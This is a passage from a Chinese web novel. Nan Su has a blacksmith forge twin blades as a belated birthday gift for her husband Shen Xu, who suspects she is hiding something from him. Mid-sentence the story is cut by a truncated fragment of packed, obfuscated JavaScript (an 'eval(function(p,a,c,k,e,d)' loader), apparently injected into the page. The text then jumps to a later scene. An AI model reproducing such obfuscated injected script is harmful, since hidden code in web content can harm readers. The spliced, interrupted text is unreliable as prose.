她呼啦一下翻身下床,着急忙慌地裹上外袍,穿上靴子,全程没让他人沾上一点手,直把一旁的安雀和红雾下一激灵。 “小姐,发生什么事了吗?”红雾见她如此着急,也跟着紧张起来。 她在那样的环境里生活了这么久,稍微发生一些事就会草木皆兵。南夙发现她的脸色带着紧张与担心,这才意识到自己的反应太大,吓到她了。 “没发生什么大事啊。”南夙安抚地摇摇头,“就是我忘了件事而已。不是什么大事,你别担心嗷。” 安雀是早已习惯了南夙这一惊一乍的性格。她们小姐,做事是极让人放心的,但要是无事可做,那她就是最不让人放心的那个了。 “小姐这是又忘了什么?”安雀一口稀松平常的语气。 南夙挠挠头,“我把沈序的生辰搞忘了,我还答应要送他礼物来着,但那时候在杭州太忙,我就把这事忘了。” 安雀了然,“小姐打算怎么办?世子爷应当也不会与小姐计较的。” 南夙却说:“那是他的事,我答应了他没做到那就是我的事了。” “好了。”她站在床前,一手搭着一人的肩,晃荡着往屋外走了几步,“小姐我呢,现在要想想有什么办法能够弥补一下沈序,你们俩就先陪我去把生辰礼准备了吧。” 说着,她一手牵着一人,一齐往府外去了。 留给这满园春光三个背影。 等到沈序回家再一看,夫人不见了,向下人一打听才知晓是出府去了。 沈序查完案子后便要将大理寺少卿一职卸任了,他上任得突然,但这些日子,也算对大理寺管理得井井有条,眼下他突然卸任,有许多事务要交代给下一任少卿。 回京城这些日子,南夙是得了闲,他却还如往常述职一样,每日一早便去往大理寺,日落才得以归家。今日终于将一概事务完成,早了些时日回来。 而南夙这边,出府后她便带着安雀和红雾去找了京城最好的铁匠,一并商量好了东西与价钱,三人又再集市里逛了会,买了些吃喝玩乐的小玩意儿,便回府去了。 沈序发现,这些日子南夙总出府去。每日早晨就要出去,直到傍晚时分才会回来,不知道在外面是做些什么。他还发现,南夙这几日似乎是在躲着他,并且他有证明,比如用膳时南夙不坐在他身侧,反而黏着沈褚去了;比如一向晚睡的南夙这几日突然开始早睡了,每日他从书房温习回来,南夙都已经入睡;最直接的证明是,昨日南夙出门时正好在院子里遇到他,他本想问一问她这几日都去了哪,但还没开口,便被南夙打断,沈序以为她有话要说,便住了口,没想到南夙只是囫囵给他打了个招呼便拉着安雀跑了。 沈序:“……” 确定了,夫人有事瞒着我。沈序无奈地叹了口气,并下定决心,一定要找机会找南夙问清楚。究竟是自己做了什么事惹了她不快,让她不想见自己,还是这京城里真有什么稀奇的东西值得她日日去寻。 沈序是惯会反思自己的人,他从小被靖北侯严厉管教,习的是四书五经,练的是刀霜剑刃。靖北侯不会管他与何人交往,但若是他犯了错,靖北侯也丝毫不会手下留情,一定要打得他屁滚尿流才行。 沈序在靖北侯一板一眼的教育中长大,却也没完全长成靖北侯所期望的那样,不知道从哪偷来的几分痞子气息被掩盖在沈序的皮囊下,但掩得很浅,轻轻一戳,那腹黑味儿就飘出来了。 但即使如此,任何人提起,沈序都绝对是一个胸有丘壑,眼有慈悲之人,他拿得起权势,放得下姿态,幽默风趣。上得了战场,下得了厅堂,京中不知多少世家老爷早早将他看作佳婿。沈序却从没想过这些,以前没想过,现在更不会想。 刚听说要与灵诏的公主和亲是沈序自然是不愿意的,一是二人从未见过面,连对方是谁,长什么样都不知道就成亲,沈序觉得实在荒谬。二是灵诏以前动作不断,沈序觉得此次所谓的两邦之交的和亲,也是灵诏醉翁之意不在酒。 但圣命难违,沈序不愿也无法。后来不知是不是这灵诏的诏王舍不得自家女儿,陆续给他写了几封信,交代了许多东西,一如南夙入京抓判贼、寻古籍的任务,并且在信中大胆承认了灵诏古籍丢失一事是灵诏看护不力。 沈序没想到对方如此坦然,但他若是就这么信了,那他就不是沈序了。所以从南夙一入京城,他便一直盯着她,摸清了南夙所有的路子。 南夙不是他刚开始想的那般,她是灵诏的公主不错,可她的慈悲却是普天下的。南夙嫁给他还不到十六岁,可她却有手段、有勇气,还有那可爱的、尚未泯灭的童趣。 她才嫁给他时,沈序想,若是她入京没有其它的目的,没有做对大景不利之事,那便好好照顾她,她一个女子远赴万里独身而来,在这里无依无靠,自己既做了她的丈夫,便要负起责任来。 可出乎他意料的是,南夙太坦然了,不知道是不是她们家一脉相传,从南夙找他合作那夜,他第一次将自己知晓南夙的目的说出后,南夙对他便好似全无保留一般了。 她所有事都会告诉沈序,好像也真的将沈序看成了丈夫,而非一个合作伙伴。 于是沈序决定,从此以后,南夙所有的事他都会负责,他开始尝试扮演好一个丈夫的角色,南夙的一切他都关心。 但现在,他突然又怀疑自己这么想是不是对的,南夙突然的遮掩竟一时让他无措起来。他想,自己一厢情愿地想了那么多,却还不知道南夙的想法,若是她不愿意呢? 南夙与他成亲是不是也是像他当时一样是皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一旁的铁匠见她的表情便知晓她这是很满意,顿时神采奕奕骄傲起来。他的锻铁能力在整个京城那可是翘楚,寻常人来找他锻铁是要排队的,那日这姑娘来找他时,他还以为是在逗自己玩,直到这姑娘拿出了锻造图。他做铁匠这么多年,还是第一次见如此做工打磨如此精细的兵刃。整个刀身打磨重塑七七四十九次,工序复杂。铁匠哪里见过如此,当即接了下来,不给钱也接。 他做铁匠,究其原因也不过喜欢二字。世人说爱读书的是书痴,爱喝酒的是酒痴,那他就是这铁痴,专喜欢手下锻出的各种形状的铁器。 这姑娘每日都来,起初他还以为是不相信自己的手艺,来监工,还有过些不满,后来那姑娘才解释道,只是要在刀中加点东西,每日都要加,所以才每日都来。 真的……和她想得一模一样。 南夙看着那刀竟发起了愣,直到铁匠伸手在她眼前晃了晃,又叫了她几声,她才回过神来。 “大师,你这锻得也太好了,太厉害了。”南夙由衷夸赞。 大师却挥挥手,不以为意般,“小事小事。”又突然问:“姑娘手里可还有其他兵器想锻,只管来找我。” 他看着南夙的一双眼睛简直冒着期望的光来。 然而南夙摇了摇头,表示这个设计图是自己家中人所做,并不是自己的,也没有多余的。 大师也只好失望地离开。 不,是看着南夙离开的背影失望,他对南夙表示很失望。 拿了东西,南夙很是高兴,她将一长一短两把刀挂在腰间,往靖北侯跑去。 南夙当初突然说要送沈序礼物,是因为当时发现自己没有兵器,沈序二话不说便将自己的长刃给了自己,虽然那兵器很普通,可南夙却觉得很暖心。她也使双刃,最知道少了一把刀多难受,还是长刃。 所以那时沈序将自己的长刃给她,她就想,有机会一定要好好报答沈序。 她想起来小时候阿维曾经给过自己一张图纸,上面画的正是一套双刃。南夙小时候也是因为这张图,第一次对双刃产生了兴趣,用过一次,便也放不下了。 这套双刃自然是极好的,阿维送给她,应当也是希望她日后能够锻出来吧。南夙小时候也在灵诏尝试着锻过,不过那时她在石语镇,不认识什么厉害的铁匠,加上那时她练蛊的本事还学得没那么好,就一直没有成功过。 她听说大景有很多厉害的铁匠,进京后便一直计划着要找个机会去把这两把刃锻造出来。但一直没寻到机会,等她终于锻出来,她却已经决定将它送给沈序了。 南夙决定今晚回去就将东西给沈序,沈序这厮要是敢说一句不好,她就砍了他的头,挂在长刃上当灯笼用。